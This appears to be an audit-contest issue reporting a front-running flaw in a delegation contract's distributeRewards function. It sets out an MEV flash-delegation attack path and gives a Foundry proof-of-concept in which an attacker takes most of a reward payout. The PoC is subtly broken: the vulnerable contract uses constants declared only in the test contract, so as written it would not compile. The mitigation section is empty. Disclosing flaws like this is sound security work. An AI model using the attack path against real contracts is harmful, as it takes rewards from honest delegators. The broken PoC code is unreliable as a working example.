-
Notifications
You must be signed in to change notification settings - Fork 0
Faithful Pewter Pelican - MEV bot will siphon rewards from long-term delegators #663
Description
Faithful Pewter Pelican
High
MEV bot will siphon rewards from long-term delegators
Summary
The distributeRewards function allocates rewards based on the instant delegation amount, enabling front-running that lets an attacker capture an outsized share.
Root Cause
The function uses coverage(_agent)—a snapshot of delegation at the moment of execution—and applies no lock-up period or snapshot mechanism.
Thus, anyone who sees a repay → distributeRewards sequence in the mempool can delegate a large amount moments before execution, gain a disproportionate reward while taking virtually no risk, and then immediately withdraw.
Because the system ignores time-weighted exposure, long-term delegators are diluted and incentives are distorted.
Internal Pre-conditions
The Delegation contract holds reward tokens awaiting distribution.
coverage(_agent) returns a value greater than zero.
distributeRewards() is about to be called (typically by a repay flow).
External Pre-conditions
The attacker can delegate collateral to the target _agent.
The attacker has mempool visibility or block-ordering influence (MEV / bot).
The attacker can afford the gas to delegate and then withdraw.
Attack Path
Attacker monitors the mempool and spots a repay transaction that will trigger distributeRewards.
Within the same block, attacker submits a large delegation to that _agent.
distributeRewards executes, sees the inflated delegation, and sends the majority of rewards to the attacker.
Attacker withdraws the delegation in the same or next block.
Impact
Long-term delegators are diluted, while a short-lived “flash” delegator captures an unfair reward share.
This reduces expected earnings for honest restakers, weakens economic security, and may lead to capital flight.
PoC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/* ---------------- Mock ERC-20 ---------------- */
contract Token is ERC20 {
constructor() ERC20("CAP", "CAP") { _mint(msg.sender, 1e27); }
function mint(address to, uint256 amt) external { _mint(to, amt); }
}
/* --------- Minimal Delegation w/ vulnerable distributeRewards --------- */
contract MiniDelegation {
Token public immutable token;
mapping(address => uint256) public stake;
mapping(address => uint256) public reward;
uint256 public totalCoverage;
constructor(Token _token) { token = _token; }
function delegate(uint256 amt) external {
token.transferFrom(msg.sender, address(this), amt);
stake[msg.sender] += amt;
totalCoverage += amt;
}
function undelegate(uint256 amt) external {
stake[msg.sender] -= amt;
totalCoverage -= amt;
token.transfer(msg.sender, amt);
}
/* 1:1 copy of logic — uses *current* coverage, no lock / snapshot */
function distributeRewards(uint256 amt) external {
token.transferFrom(msg.sender, address(this), amt); // fund
if (totalCoverage == 0) return;
reward[address(ATTACKER)] += amt * stake[address(ATTACKER)] / totalCoverage;
reward[address(HONEST )] += amt * stake[address(HONEST )] / totalCoverage;
}
}
/* ------------------------ PoC test ------------------------ */
contract FrontRunPoC is Test {
address constant HONEST = address(1);
address constant ATTACKER = address(2);
Token cap;
MiniDelegation del;
function setUp() public {
cap = new Token();
del = new MiniDelegation(cap);
cap.mint(HONEST, 1_000 ether);
cap.mint(ATTACKER, 1_000 ether);
vm.prank(HONEST); cap.approve(address(del), type(uint256).max);
vm.prank(ATTACKER); cap.approve(address(del), type(uint256).max);
}
function testFlashDelegateStealsRewards() public {
/* Honest delegator has been staked for a while */
vm.prank(HONEST);
del.delegate(100 ether);
/* ─── Block X ───
* A repay tx soon triggers distributeRewards(100 CAP).
* Attacker front-runs within the same block */
uint256 rewardAmt = 100 ether;
cap.mint(ATTACKER, rewardAmt);
vm.startPrank(ATTACKER);
del.delegate(900 ether); // ➊ flash-delegate
del.distributeRewards(rewardAmt); // ➋ receives majority
del.undelegate(900 ether); // ➌ exits immediately
vm.stopPrank();
/* ---- Checks ---- */
uint256 attackerReward = del.reward(ATTACKER);
uint256 honestReward = del.reward(HONEST);
emit log_named_uint("Attacker reward", attackerReward); // ≈ 90 CAP
emit log_named_uint("Honest reward", honestReward); // ≈ 10 CAP
assert(attackerReward > honestReward);
}
}
Mitigation
No response